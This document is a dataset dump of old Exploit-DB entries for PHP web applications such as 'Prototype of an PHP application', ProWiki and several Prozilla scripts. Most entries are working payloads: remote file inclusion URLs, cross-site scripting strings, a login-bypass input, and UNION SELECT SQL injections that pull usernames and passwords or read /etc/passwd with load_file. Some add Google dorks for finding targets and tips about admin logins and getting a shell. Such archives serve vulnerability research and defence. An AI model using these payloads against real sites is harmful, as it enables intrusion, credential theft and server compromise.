deardaniel/secdata-raw huggingface dataset:
Exploit-DB #30120
Description: Prototype of an PHP Application 0.1 - '/ident/disconnect.php?path_inc' Remote File Inclusion
Type: webapps
Platform: php
Date: 2007-06-01
Author: pito pito

Exploit:
source: https://www.securityfocus.com/bid/24266/info
  
'Prototype of an PHP application' is prone to multiple remote file-include vulnerabilities because it fails to properly sanitize user-supplied input to the application.
  
An attacker may leverage these issues to execute an arbitrary remote file containing malicious script code in the context of the webserver process. This may allow the attacker to compromise the application and the underlying system. Other attacks are also possible.
  
This issue affects 'Prototype of an PHP application' 0.1. 

http://example.com/script/ident/disconnect.php?path_inc=[shell]
Exploit-DB #30124
Description: Prototype of an PHP Application 0.1 - '/ident/ident.inc.php?path_inc' Remote File Inclusion
Type: webapps
Platform: php
Date: 2007-06-01
Author: pito pito

Exploit:
source: https://www.securityfocus.com/bid/24266/info
     
'Prototype of an PHP application' is prone to multiple remote file-include vulnerabilities because it fails to properly sanitize user-supplied input to the application.
     
An attacker may leverage these issues to execute an arbitrary remote file containing malicious script code in the context of the webserver process. This may allow the attacker to compromise the application and the underlying system. Other attacks are also possible.
     
This issue affects 'Prototype of an PHP application' 0.1. 

http://example.com/script/ident/ident.inc.php?path_inc=[shell]
Exploit-DB #30119
Description: Prototype of an PHP Application 0.1 - '/ident/identification.php?path_inc' Remote File Inclusion
Type: webapps
Platform: php
Date: 2007-06-01
Author: pito pito

Exploit:
source: https://www.securityfocus.com/bid/24266/info
 
'Prototype of an PHP application' is prone to multiple remote file-include vulnerabilities because it fails to properly sanitize user-supplied input to the application.
 
An attacker may leverage these issues to execute an arbitrary remote file containing malicious script code in the context of the webserver process. This may allow the attacker to compromise the application and the underlying system. Other attacks are also possible.
 
This issue affects 'Prototype of an PHP application' 0.1. 

http://example.com/script/ident/identification.php?path_inc=[shell]
Exploit-DB #30123
Description: Prototype of an PHP Application 0.1 - '/ident/index.php?path_inc' Remote File Inclusion
Type: webapps
Platform: php
Date: 2007-06-01
Author: pito pito

Exploit:
source: https://www.securityfocus.com/bid/24266/info
     
'Prototype of an PHP application' is prone to multiple remote file-include vulnerabilities because it fails to properly sanitize user-supplied input to the application.
     
An attacker may leverage these issues to execute an arbitrary remote file containing malicious script code in the context of the webserver process. This may allow the attacker to compromise the application and the underlying system. Other attacks are also possible.
     
This issue affects 'Prototype of an PHP application' 0.1. 

http://example.com/script//ident/index.php?path_inc=[shell]
Exploit-DB #30121
Description: Prototype of an PHP Application 0.1 - '/ident/loginliste.php?path_inc' Remote File Inclusion
Type: webapps
Platform: php
Date: 2007-06-01
Author: pito pito

Exploit:
source: https://www.securityfocus.com/bid/24266/info
   
'Prototype of an PHP application' is prone to multiple remote file-include vulnerabilities because it fails to properly sanitize user-supplied input to the application.
   
An attacker may leverage these issues to execute an arbitrary remote file containing malicious script code in the context of the webserver process. This may allow the attacker to compromise the application and the underlying system. Other attacks are also possible.
   
This issue affects 'Prototype of an PHP application' 0.1. 

http://example.com/script/ident/loginliste.php?path_inc=[shell]
Exploit-DB #30122
Description: Prototype of an PHP Application 0.1 - '/ident/loginmodif.php?path_inc' Remote File Inclusion
Type: webapps
Platform: php
Date: 2007-06-01
Author: pito pito

Exploit:
source: https://www.securityfocus.com/bid/24266/info
    
'Prototype of an PHP application' is prone to multiple remote file-include vulnerabilities because it fails to properly sanitize user-supplied input to the application.
    
An attacker may leverage these issues to execute an arbitrary remote file containing malicious script code in the context of the webserver process. This may allow the attacker to compromise the application and the underlying system. Other attacks are also possible.
    
This issue affects 'Prototype of an PHP application' 0.1. 

http://example.com/script/ident/loginmodif.php?path_inc=[shell]
Exploit-DB #30125
Description: Prototype of an PHP Application 0.1 - '/menu/menuprincipal.php?path_inc' Remote File Inclusion
Type: webapps
Platform: php
Date: 2007-06-01
Author: pito pito

Exploit:
source: https://www.securityfocus.com/bid/24266/info
      
'Prototype of an PHP application' is prone to multiple remote file-include vulnerabilities because it fails to properly sanitize user-supplied input to the application.
      
An attacker may leverage these issues to execute an arbitrary remote file containing malicious script code in the context of the webserver process. This may allow the attacker to compromise the application and the underlying system. Other attacks are also possible.
      
This issue affects 'Prototype of an PHP application' 0.1. 

http://example.com/script/menu/menuprincipal.php?path_inc=[shell]
Exploit-DB #30127
Description: Prototype of an PHP Application 0.1 - '/plugins/PHPgacl/index.php?path_inc' Remote File Inclusion
Type: webapps
Platform: php
Date: 2007-06-01
Author: pito pito

Exploit:
source: https://www.securityfocus.com/bid/24266/info
        
'Prototype of an PHP application' is prone to multiple remote file-include vulnerabilities because it fails to properly sanitize user-supplied input to the application.
        
An attacker may leverage these issues to execute an arbitrary remote file containing malicious script code in the context of the webserver process. This may allow the attacker to compromise the application and the underlying system. Other attacks are also possible.
        
This issue affects 'Prototype of an PHP application' 0.1. 

http://example.com/script/plugins/phpgacl/admin/index.php?path_inc=[shell]
Exploit-DB #30129
Description: Prototype of an PHP Application 0.1 - 'common.inc.php?path_inc' Remote File Inclusion
Type: webapps
Platform: php
Date: 2007-06-01
Author: pito pito

Exploit:
source: https://www.securityfocus.com/bid/24266/info
          
'Prototype of an PHP application' is prone to multiple remote file-include vulnerabilities because it fails to properly sanitize user-supplied input to the application.
          
An attacker may leverage these issues to execute an arbitrary remote file containing malicious script code in the context of the webserver process. This may allow the attacker to compromise the application and the underlying system. Other attacks are also possible.
          
This issue affects 'Prototype of an PHP application' 0.1. 

http://example.com/script/common.inc.php?path_inc=[shell]
Exploit-DB #30128
Description: Prototype of an PHP Application 0.1 - 'index.php?path_inc' Remote File Inclusion
Type: webapps
Platform: php
Date: 2007-06-01
Author: pito pito

Exploit:
source: https://www.securityfocus.com/bid/24266/info
         
'Prototype of an PHP application' is prone to multiple remote file-include vulnerabilities because it fails to properly sanitize user-supplied input to the application.
         
An attacker may leverage these issues to execute an arbitrary remote file containing malicious script code in the context of the webserver process. This may allow the attacker to compromise the application and the underlying system. Other attacks are also possible.
         
This issue affects 'Prototype of an PHP application' 0.1. 

http://example.com/script/index.php?path_inc=[shell]
Exploit-DB #30126
Description: Prototype of an PHP Application 0.1 - 'param.inc.php?path_inc' Remote File Inclusion
Type: webapps
Platform: php
Date: 2007-06-01
Author: pito pito

Exploit:
source: https://www.securityfocus.com/bid/24266/info
       
'Prototype of an PHP application' is prone to multiple remote file-include vulnerabilities because it fails to properly sanitize user-supplied input to the application.
       
An attacker may leverage these issues to execute an arbitrary remote file containing malicious script code in the context of the webserver process. This may allow the attacker to compromise the application and the underlying system. Other attacks are also possible.
       
This issue affects 'Prototype of an PHP application' 0.1. 

http://example.com/script/param/param.inc.php?path_inc=[shell]
Exploit-DB #30810
Description: Proverbs Web Calendar 1.1 - 'Password' SQL Injection
Type: webapps
Platform: php
Date: 2007-11-26
Author: JosS

Exploit:
source: https://www.securityfocus.com/bid/26584/info

Proverbs Web Calendar is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

Proverbs Web Calendar 1.1 is vulnerable; other versions may also be affected. 

The following proof of concept is available:

Username: admin
Password: ' or
Exploit-DB #36768
Description: ProWiki - 'id' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2012-02-10
Author: sonyy

Exploit:
source: https://www.securityfocus.com/bid/51987/info

ProWiki is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied data.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and launch other attacks. 

http://www.example.com/wiki4d/wiki.cgi?action=browse&id=[XSS]
Exploit-DB #34743
Description: Proxy List Script - 'index.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2009-07-20
Author: Moudi

Exploit:
source: https://www.securityfocus.com/bid/43489/info

Proxy List Script is prone to a cross-site scripting vulnerability because the application fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

http://www.example.com/proxysite/index.php?act=whois&ip=1>"><ScRiPt %0A%0D>alert[PII_REDACTED]56)%3B</ScRiPt>
Exploit-DB #10912
Description: Proxyroll.com Clone PHP Script - Insecure Cookie Handling
Type: webapps
Platform: php
Date: 2010-01-02
Author: DigitALL

Exploit:
# Exploit Title: Proxyroll.com Clone PHP Script Cookie Handling And Tamper Data

# Date: 02.01.2010

# Author: DigitALL

# Thanks: Zombie KroNicKq NoFear and All 1923Turk.biz Members

# Version: 1.0

# Code : This Site Go To /advertise.php and Paypal Buton Click and Firefox Tamper Data Open then

a3 = Value

currency_code = USD or STERL&#304;N or L&#304;RA

Your 1 $  ==== They 99 $  good jobs :)
Exploit-DB #5389
Description: Prozilla Cheat Script 2.0 - 'id' SQL Injection
Type: webapps
Platform: php
Date: 2008-04-06
Author: t0pP8uZz

Exploit:
--==+================================================================================+==--
--==+		 Prozilla Cheat Script 2.0 SQL Injection Vulnerabilitys	             +==--
--==+================================================================================+==--



Discovered By: t0pP8uZz
Discovered On: 7 April 2008
Script Download: http://prozilla.net
DORK: N/A

Vendor Has Not Been Notified!


DESCRIPTION: 
Prozilla cheat script is vulnerable due to insecure mysql querys, the sql injection found below will
attempt to load the /etc/passwd file on most linux servers.



SQL Injection:
http://site.com/view_reviews.php?id=-1/**/UNION/**/ALL/**/SELECT/**/1,2,load_file('/etc/passwd'),4,5,6,7,8,9/*



NOTE/TIP: 
note that the mysql user running the script must have permissions to use mysql's load_file()


GREETZ: milw0rm.com, h4ck-y0u.org CipherCrew!



--==+================================================================================+==--
--==+		 Prozilla Cheat Script 2.0 SQL Injection Vulnerabilitys	             +==--
--==+================================================================================+==--

# milw0rm.com [2008-04-06]
Exploit-DB #4185
Description: Prozilla Directory Script - 'Directory.php?cat_id' SQL Injection
Type: webapps
Platform: php
Date: 2007-07-14
Author: t0pP8uZz

Exploit:
--==+================================================================================+==--
--==+		      Prozilla Directory Script SQL Injection Vulnerbility               +==--
--==+================================================================================+==--



AUTHOR: t0pP8uZz & xprog
SITE: http://www.prozilla.com/
DORK: allinurl:directory.php?ax=list


DESCRIPTION: 
SQL injection in cat_id of directory.php among others. Able to retrieve email/passwords
of users who posted URLs in the directory.


EXPLOITS:
http://www.site.com/directory.php?ax=list&sub=1&cat_id=-1/**/UNION/**/SELECT/**/1,2,3,4,concat(0x2D2D3E,email,0x3a,password),6,7,8,9,10,0x223E3C212D2D,12,13/**/from/**/links/*


NOTE/TIP: 
Doesnt look like admin info is stored in the database, must be config.


GREETZ: milw0rm.com, H4CKY0u.org, G0t-Root.net !


--==+================================================================================+==--
--==+		      Prozilla Directory Script SQL Injection Vulnerbility               +==--
--==+================================================================================+==--

# milw0rm.com [2007-07-14]
Exploit-DB #5385
Description: Prozilla Forum Service - 'forum' SQL Injection
Type: webapps
Platform: php
Date: 2008-04-06
Author: t0pP8uZz

Exploit:
--==+================================================================================+==--
--==+		    Prozilla Forum Service SQL Injection Vulnerbilitys	             +==--
--==+================================================================================+==--



Discovered By: t0pP8uZz
Discovered On: 7 April 2008
Script Download: http://prozilla.com
DORK: N/A
Vendor Has Not Been Notified!



DESCRIPTION: 
Prozilla Forum Service is vulnerable due to a insecure mysql query, this allows the remote attacker
to pull user credentials from the database, and possibly load a shell using OUTFILE. and 
even read local files using load_file()



SQL Injection:
http://site.com/forum.php?forum=-1/**/UNION/**/ALL/**/SELECT/**/1,CONCAT(name,0x3a,password),3,4/**/FROM/**/users/*



NOTE/TIP: 
admin login is at /siteadmin/
admin login can be found in config.php which can be viewed by using load_file().



GREETZ: milw0rm.com, h4ck-y0u.org, CipherCrew !



--==+================================================================================+==--
--==+		    Prozilla Forum Service SQL Injection Vulnerbilitys	             +==--
--==+================================================================================+==--

# milw0rm.com [2008-04-06]
Exploit-DB #5390
Description: Prozilla Freelancers - 'project' SQL Injection
Type: webapps
Platform: php
Date: 2008-04-07
Author: t0pP8uZz

Exploit:
--==+================================================================================+==--
--==+		     Prozilla Freelancers SQL Injection Vulnerabilitys	             +==--
--==+================================================================================+==--



Discovered By: t0pP8uZz
Discovered On: 7 April 2008
Script Download: http://prozilla.net
DORK: N/A

Vendor Has Not Been Notified!


DESCRIPTION: 
Prozilla freelancers is vulnerable due to a insecure mysql query.
this allows the remote attacker to pull admin/user credntials from database.
and possibly gain shell.


SQL Injection:
ADMIN: project.php?project=-1/**/UNION/**/ALL/**/SELECT/**/1,2,3,4,5,6,7,8,9,CONCAT(username,0x3a,password),11,12,13,14,15/**/FROM/**/admin/*
USERS: project.php?project=-1/**/UNION/**/ALL/**/SELECT/**/1,2,3,4,5,6,7,8,9,CONCAT(username,0x3a,password),11,12,13,14,15/**/FROM/**/users/**/LIMIT/**/0,1/*


NOTE/TIP: 
admin login is at /siteadmin/


GREETZ: milw0rm.com, h4ck-y0u.org, CipherCrew !



--==+================================================================================+==--
--==+		     Prozilla Freelancers SQL Injection Vulnerabilitys	             +==--
--==+================================================================================+==--

# milw0rm.com [2008-04-07]
Exploit-DB #31625
Description: Prozilla Gaming Directory 1.0 - SQL Injection
Type: webapps
Platform: php
Date: 2008-04-05
Author: t0pP8uZz

Exploit:
source: https://www.securityfocus.com/bid/28676/info

Prozilla Gaming Directory is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

The issue affects Prozilla Gaming Directory 1.0; other versions may also be vulnerable. 

http://www.example.com/directory.php?ax=list&sub=6&cat_id=-1/**/UNION/**/ALL/**/SELECT/**/1,2,load_file(0x2F6574632F[PII_REDACTED]64),4/**/FROM/**/links/*
Exploit-DB #5516
Description: Prozilla Hosting Index - 'cat_id' SQL Injection
Type: webapps
Platform: php
Date: 2008-04-28
Author: K-159

Exploit:
____________________   ___ ___ ________
\_   _____/\_   ___ \ /   |   \\_____  \  
 |    __)_ /    \  \//    ~    \/   |   \ 
 |        \\     \___\    Y    /    |    \
/_______  / \______  /\___|_  /\_______  /
        \/         \/       \/         \/ 

                                        .OR.ID
ECHO_ADV_88$2008

-----------------------------------------------------------------------------------------
[ECHO_ADV_88$2008] Prozilla Hosting Index (directory.php cat_id) Blind Sql Injection Vulnerability
-----------------------------------------------------------------------------------------

Author         : M.Hasran Addahroni
Date           : April, 28 th 2007
Location       : Jakarta, Indonesia
Web            : http://advisories.echo.or.id/adv/adv88-K-159-2008.txt
Critical Lvl   : Medium
Impact	       : System access
Where	       : From Remote
---------------------------------------------------------------------------

Affected software description:
~~~~~~~~~~~~~~~~~~~~~~~~~~~

Application   : Hosting Index
version       : unknown
Vendor        : http://www.prozilla.com/item.php?item=26
Description   :


---------------------------------------------------------------------------

Vulnerability:
~~~~~~~~~~~~~

Input passed to the "cat_id" parameter in directory.php is not properly verified before being used to sql query. 
This can be exploited thru the browser and get the hash md5 password from users.
Successful exploitation requires that "magic_quotes" is off


Poc/Exploit:
~~~~~~~~~

http://www.target.com/[hostindex_path]/directory.php?ax=list&sub=7&cat_id=-1%20union%20select%201,2,concat(id,0x3a,name,0x3a,email,0x3a,password),4,5,6,7,8,9,10,11,12,13,14%20from%20links--

Dork:
~~~~
Google: "inurl:directory.php?ax=list" Hosting Directory

Solution:
~~~~~~

- Edit the source code to ensure that input is properly verified.
- Turn on magic_quotes in php.ini
 

Timeline:
~~~~~~~~

- 15 - 12 - 2007 bug found
- 28 - 04 - 2008 advisory released
---------------------------------------------------------------------------

Shoutz:
~~~~
~ ping - my dearest wife, zautha my light of eyes, for all the luv the tears n the breath
~ y3dips,the_day,moby,comex,z3r0byt3,c-a-s-e,S`to,lirva32,pushm0v, az01,negative,the_hydra,neng chika, str0ke
~ masterpop3,maSter-oP,Lieur-Euy,Mr_ny3m,bithedz,murp,sakitjiwa,x16,an0maly,cybertank,fuzk3_k3ndi,super_temon,b120t0,inggar,fachri,adi,rahmat,indra,cyb3rh3b
~ SinChan,h4ntu,cow_1seng,poniman_coy, ketut, rizal, cR4SH3R, kuntua, stev_manado, nofry,k1tk4t,0pt1c
~ newbie_hacker@yahoogroups.com
~ #aikmel #e-c-h-o @irc.dal.net
~ special for rgod - good bye mate, thanks for the great works.

---------------------------------------------------------------------------
Contact:
~~~~~

     K-159 || echo|staff || eufrato[at]gmail[dot]com
     Homepage: http://k-159.echo.or.id/

-------------------------------- [ EOF ] ----------------------------------

# milw0rm.com [2008-04-28]
Exploit-DB #7195
Description: Prozilla Hosting Index - 'id' SQL Injection
Type: webapps
Platform: php
Date: 2008-11-23
Author: snakespc

Exploit:
==================================================================================================================
=         SSSSS  NN    N      AA      K   K  EEEEE  SSSSS        TTTTTTTTT EEEEE     AA     MM     MM            = 
=         S      N N   N     A  A     K  K   E      S                T     E        A  A    M M   M M            =      
+         SSSSS  N  N  N    AAAAAA    KKK    EEEEE  SSSSS            T     EEEEE   AAAAAA   M  M M  M            +       
=             S  N   N N   A      A   K  K   E          S            T     E      A      A  M   M   M            =      
=         SSSSS  N    NN  A        A  K   K  EEEEE  SSSSS            T     EEEEE A        A M       M            = 
===================================================SNAKES TEAM====================================================
+                                                                                                                =
=              	                    Script:hostindex  Remote SQL Injection Vulnerability                         +
+                                                                                                                =
==============================================:::ALGERIAN HaCkEr:::===============================================
                =        =                                                                =          =
                =      =          Discovered By: Snakespc  :::ALGERIAN HaCkEr:::               =     =   
                =                                                                                    =
                                    :::::Mail: snakespc@gmail.com:::::::             
                =                                                                                    =
                =          = ::::script Demo: http://turnkeyzone.com/demos/hostindex/::::=           =
                =                                                                                    =
                =                          Script site: turnkeyzone.com   "directory.php"            =
                  ===================================Snakespc======================================

Exploit:
http://localhost/hostindex/directory.php?ax=deadlink&id=-3+UNION SELECT 1,2,concat(user(),0x3a,database(),0x3a,version())--
********
demo:
http://turnkeyzone.com/demos/hostindex/directory.php?ax=deadlink&id=-3+UNION SELECT 1,2,concat(user(),0x3a,database(),0x3a,version())--
===================================================================================================================

Mr.HCOCA_MAN:::DrEaDFuL:::yassine_enp:::His0k4:::sunhouse2:::aSSaSSin_HaCkErS:::THE INJECTOR:::ALMADJHOOL:::so9or::
ALL www.Snakespc.com/SC >>>> Members 
Str0ke ....Milxw0rm
===================================================================================================================

# milw0rm.com [2008-11-23]